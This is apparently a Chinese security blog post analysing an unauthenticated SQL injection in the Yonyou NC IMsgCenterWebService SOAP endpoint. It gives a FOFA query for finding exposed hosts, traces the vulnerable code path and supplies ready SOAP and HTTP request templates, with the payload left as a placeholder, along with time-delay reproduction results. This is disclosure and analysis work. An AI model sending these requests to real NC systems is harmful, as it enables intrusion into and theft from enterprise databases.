用友 NC 系统 IMsgCenterWebService SQL注入漏洞


漏洞简介

用友 NC(Yonyou NC)是一款广泛应用于大型企业的集成化管理软件,涵盖财务、供应链、人力资源等核心业务管理功能。NC 系统的 IMsgCenterWebService 接口在处理请求时存在 SQL 注入漏洞,主要原因是该接口未对外部输入的参数进行严格的过滤与验证。攻击者可通过构造恶意的 SQL 语句并发送至该接口,从而与后端数据库进行非法交互,不仅可能导致系统敏感信息泄露,严重时还可能造成数据库内容被篡改甚至完全控制数据库服务器,对企业信息安全构成重大威胁。建议受影响用户及时关注厂商发布的官方通告,并根据系统版本部署相应的修复补丁以加固防护。

影响版本

NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

入口

首先根据漏洞通告参考1

关于NC系统IMsgCenterWebService的sql注入漏洞的安全通告里提到的注入点在IMsgCenterWebService里,那就在idea里搜索IMsgCenterWebService,找到了nc.itf.msgcenter.IMsgCenterWebService,而它对应的Web Service端点如下

WSDL地址: http://<host>:<port>/uapws/service/nc.itf.msgcenter.IMsgCenterWebService?wsdl

SOAP端点: http://<host>:<port>/uapws/service/nc.itf.msgcenter.IMsgCenterWebService

Servlet映射: /uapws/service/*WebServiceServlet (nc.uap.ws.transport.servlet.WebServiceServlet)

UPM服务注册

文件路径: modules/uapmp/META-INF/msgcenter.upm

<module name="nc.itf.uap.pf.PlatformEJB">
    <public>
        <component>
            <interface>nc.itf.msgcenter.IMsgCenterWebService</interface>
            <implementation>nc.impl.msgcenter.MsgCenterWebServiceImpl</implementation>
            <extension class="nc.uap.ws.deploy.OxbWSExtensionProcessor">
                <wsdl>/nc/itf/msgcenter/IMsgCenterWebService.wsdl</wsdl>
                <address>/nc.itf.msgcenter.IMsgCenterWebService</address>
            </extension>
        </component>
    </public>
</module>

接口方法列表

方法名 参数 返回值 是否存在注入
queryMsgByUserAndType dataSource, param(JSON), pageSize, index String
queryMsgByPkAndType dataSource, pk_sourcemsg, msgtype String
doAction dataSource, actionCode, pluginType, param(JSON) String
getAttachment dataSource, type, address String
uploadAttachment dataSource, msgtype, pk_sourcemsg, filename, file String
loginNC dataSource, usercode, password String[]
transforUserCodeBySys dataSource, sysccode, usercode String

鉴权分析

UPM安全配置

msgcenter.upm 中,Web Service的安全组件被完全注释掉:

<!--<security>
    <protect authority="wsAccessController" authenticator="wsAuthenticator"/>
</security>-->
  • wsAccessController: nc.ws.control.WSAccessController - 已注释,不生效
  • wsAuthenticator: nc.ws.control.WSAccessController - 已注释,不生效

总之,该Web Service端点无需任何认证即可访问。

数据污点传播路径

注入点一: queryMsgByUserAndType 方法

[攻击者发送SOAP请求]
    │
    ▼
[WebServiceServlet] (/uapws/service/*)
    │
    ▼
[MsgCenterWebServiceImpl.queryMsgByUserAndType(dataSource, param, pageSize, index)]
    │  文件: nc/impl/msgcenter/MsgCenterWebServiceImpl.java
    │
    ├─→ [MsgCenterUtil.readStringToMap(param)]  // JSON反序列化
    │       文件: nc/bs/msgcenter/util/MsgCenterUtil.java
    │       返回: Map<String, Object>
    │
    ├─→ paramMap.get("user")  // 提取user字段 ← 污点源
    │
    ▼
[MsgCenterServiceImpl.queryMsgByUserAndType(dataSource, user, ...)]
    │  文件: nc/impl/msgcenter/MsgCenterServiceImpl.java
    │
    ▼
[MsgCenterServiceImpl.resetInvacationInfoByUsercode(dataSource, user)]
    │  文件: nc/impl/msgcenter/MsgCenterServiceImpl.java:76-87
    │
    ├─→ InvocationInfoProxy.getInstance().setUserDataSource(dataSource)
    │
    └─→ [BaseDAO.retrieveByClause(UserVO.class, "user_code= '" + usercode + "'")]
            │  文件: nc/bs/dao/BaseDAO.java
            │
            └─→ SQL执行: SELECT * FROM sm_user WHERE user_code= '{注入点}'
                            ↑
                            └── SQL注入发生在此处

注入点二: doAction 方法

[攻击者发送SOAP请求]
    │
    ▼
[MsgCenterWebServiceImpl.doAction(dataSource, actionCode, pluginType, param)]
    │
    ▼
[MsgCenterServiceImpl.doAction(dataSource, actionCode, pluginType, param)]
    │
    ▼
[MsgCenterServiceImpl.resetInvacationInfo(dataSource, param)]
    │  文件: nc/impl/msgcenter/MsgCenterServiceImpl.java:155-168
    │
    ├─→ [MsgCenterUtil.readStringToMap(param)]  // JSON反序列化
    │
    ├─→ paramMap.get("pk_sourcemsg")
    │   if (StringUtils.isNotBlank(pk_sourcemsg)) {
    │       resetInvacationInfoByMsgID(dataSource, pk_sourcemsg);  // 路径A
    │       return;
    │   }
    │
    ├─→ paramMap.get("user")  // 提取user字段 ← 污点源
    │   if (StringUtils.isNotBlank(usercode)) {
    │       resetInvacationInfoByUsercode(dataSource, usercode);  // 路径B ← 注入点
    │       return;
    │   }
    │
    └─→ resetInvacationInfo(dataSource)  // 路径C (无注入)

关键: 当 pk_sourcemsg 为空且 user 非空时,进入路径B,触发SQL注入

漏洞代码详细分析

文件: /nc/impl/msgcenter/MsgCenterServiceImpl.java

private void resetInvacationInfoByUsercode(String dataSource, String usercode) throws BusinessException {
    // 设置数据源
    InvocationInfoProxy.getInstance().setUserDataSource(dataSource);

    // SQL注入点: usercode直接拼接到SQL语句中
    Collection users = new BaseDAO().retrieveByClause(
        UserVO.class, 
        "user_code= '" + usercode + "'"  // ← 注入点
    );

    if (users != null && users.size() > 0) {
        UserVO user = (UserVO)users.iterator().next();
        InvocationInfoProxy.getInstance().setUserId(user.getPrimaryKey());
        InvocationInfoProxy.getInstance().setGroupId(user.getPk_group());
    } else {
        InvocationInfoProxy.getInstance().setUserId("NC_USER0000000000000");
        InvocationInfoProxy.getInstance().setGroupId("GLOBLE00000000000000");
    }
}

JSON解析器

文件: /nc/bs/msgcenter/util/MsgCenterUtil.java

public static Map<String, Object> readStringToMap(String content) throws BusinessException {
    try {
        return (Map)instence.getGson().fromJson(content, Map.class);
    } catch (Exception e) {
        Logger.error("Json转换出错:" + e.getMessage(), e);
        return null;
    }
}

使用Gson库解析JSON,无任何输入过滤或校验

两个注入方法对比

本接口有两个方法存在SQL注入,注入点相同但参数构造方式不同:

特征 doAction queryMsgByUserAndType
注入字段 param JSON的user字段 param JSON的user字段
调用路径 resetInvacationInfo()resetInvacationInfoByUsercode() 直接调用resetInvacationInfoByUsercode()
JSON要求 pk_sourcemsg必须为空字符串 必须包含startend字段(值为空字符串)
易踩坑点 缺少start/end字段会导致convertToDate(null)抛NPE,注入不生效
注入效果 相同 相同

doAction 注入

SOAP请求模板:

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" 
                  xmlns:ns="http://msgcenter.itf.nc/IMsgCenterWebService">
<soapenv:Header/>
<soapenv:Body>
<ns:doAction>
  <dataSource>NCDB</dataSource>
  <actionCode>test</actionCode>
  <pluginType>test</pluginType>
  <param>{"user":"注入PAYLOAD","pk_sourcemsg":""}</param>
</ns:doAction>
</soapenv:Body>
</soapenv:Envelope>

JSON参数说明:

  • user: SQL注入payload
  • pk_sourcemsg: 必须为空字符串(非空则走resetInvacationInfoByMsgID路径,不触发注入)

调用链:

MsgCenterWebServiceImpl.doAction()
  → MsgCenterServiceImpl.doAction()
    → resetInvacationInfo(dataSource, param)
      → MsgCenterUtil.readStringToMap(param)  // JSON解析
      → paramMap.get("pk_sourcemsg")  // 为空,跳过
      → paramMap.get("user")  // 提取注入payload
      → resetInvacationInfoByUsercode(dataSource, usercode)  // ★注入点★

queryMsgByUserAndType 注入

关键注意: JSON中必须包含startend字段(值为空字符串),否则MsgCenterUtil.convertToDate(null)会在SQL注入执行前抛出NPE。

NPE原因分析:

// MsgCenterWebServiceImpl.java:39
String startDate = paramMap.get("start");     // JSON中无"start"键 → 返回null
Date start = MsgCenterUtil.convertToDate(startDate);  // 传入null

// MsgCenterUtil.java:152
public static Date convertToDate(String date) {
    SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HHmmss.SSSZ");
    return sdf.parse(date.replaceAll(":", ""));  // null.replaceAll() → NPE!
}

SOAP请求模板:

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" 
                  xmlns:ns="http://msgcenter.itf.nc/IMsgCenterWebService">
<soapenv:Header/>
<soapenv:Body>
<ns:queryMsgByUserAndType>
  <dataSource>NCDB</dataSource>
  <param>{"user":"注入PAYLOAD","msgtype":"test","msgstatus":"","start":"","end":"","seach":"","seachSender":"","billtype":"","billno":"","billid":""}</param>
  <pageSize>10</pageSize>
  <index>0</index>
</ns:queryMsgByUserAndType>
</soapenv:Body>
</soapenv:Envelope>

JSON参数说明:

  • user: SQL注入payload
  • msgtype: 消息类型(可为任意值)
  • msgstatus: 消息状态(空字符串)
  • start/end: 必须存在(值为空字符串),否则NPE
  • seach/seachSender/billtype/billno/billid: 可选字段

调用链:

MsgCenterWebServiceImpl.queryMsgByUserAndType()
  → MsgCenterUtil.readStringToMap(param)  // JSON解析
  → paramMap.get("user")  // 提取注入payload
  → paramMap.get("start")  // 空字符串 → convertToDate返回null,不NPE
  → MsgCenterServiceImpl.queryMsgByUserAndType(dataSource, user, ...)
    → resetInvacationInfoByUsercode(dataSource, user)  // ★注入点★

漏洞复现

doAction

POST /uapws/service/nc.itf.msgcenter.IMsgCenterWebService HTTP/1.1
Host: 
SOAPAction: urn:doAction
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ims="http://msgcenter.itf.nc/IMsgCenterWebService">
   <soapenv:Header/>
   <soapenv:Body>
      <ims:doAction>
         <!--type: string-->
         <dataSource>NC65</dataSource>
         <!--type: string-->
         <actionCode>test</actionCode>
         <!--type: string-->
         <pluginType>test</pluginType>
         <!--type: string-->
         <param>{"user":"'SQLI_POC","pk_sourcemsg":""}</param>
      </ims:doAction>
   </soapenv:Body>
</soapenv:Envelope>

成功延时 3 秒

queryMsgByUserAndType

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" 
                  xmlns:ns="http://msgcenter.itf.nc/IMsgCenterWebService">
<soapenv:Header/>
<soapenv:Body>
<ns:queryMsgByUserAndType>
  <dataSource>NC65</dataSource>
  <param>{"user":"SQLI_POC","msgtype":"test","msgstatus":"","start":"","end":"","seach":"","seachSender":"","billtype":"","billno":"","billid":""}</param>
  <pageSize>10</pageSize>
  <index>0</index>
</ns:queryMsgByUserAndType>
</soapenv:Body>
</soapenv:Envelope>

成功延时 3 秒

参考


手机扫码阅读

孚盟云CRM LoadMailAttachFile.aspx 任意文件读取/移动

OpenWrt mosdns + OpenClash 防DNS泄露 + Fake-IP 完整解决方案

评 论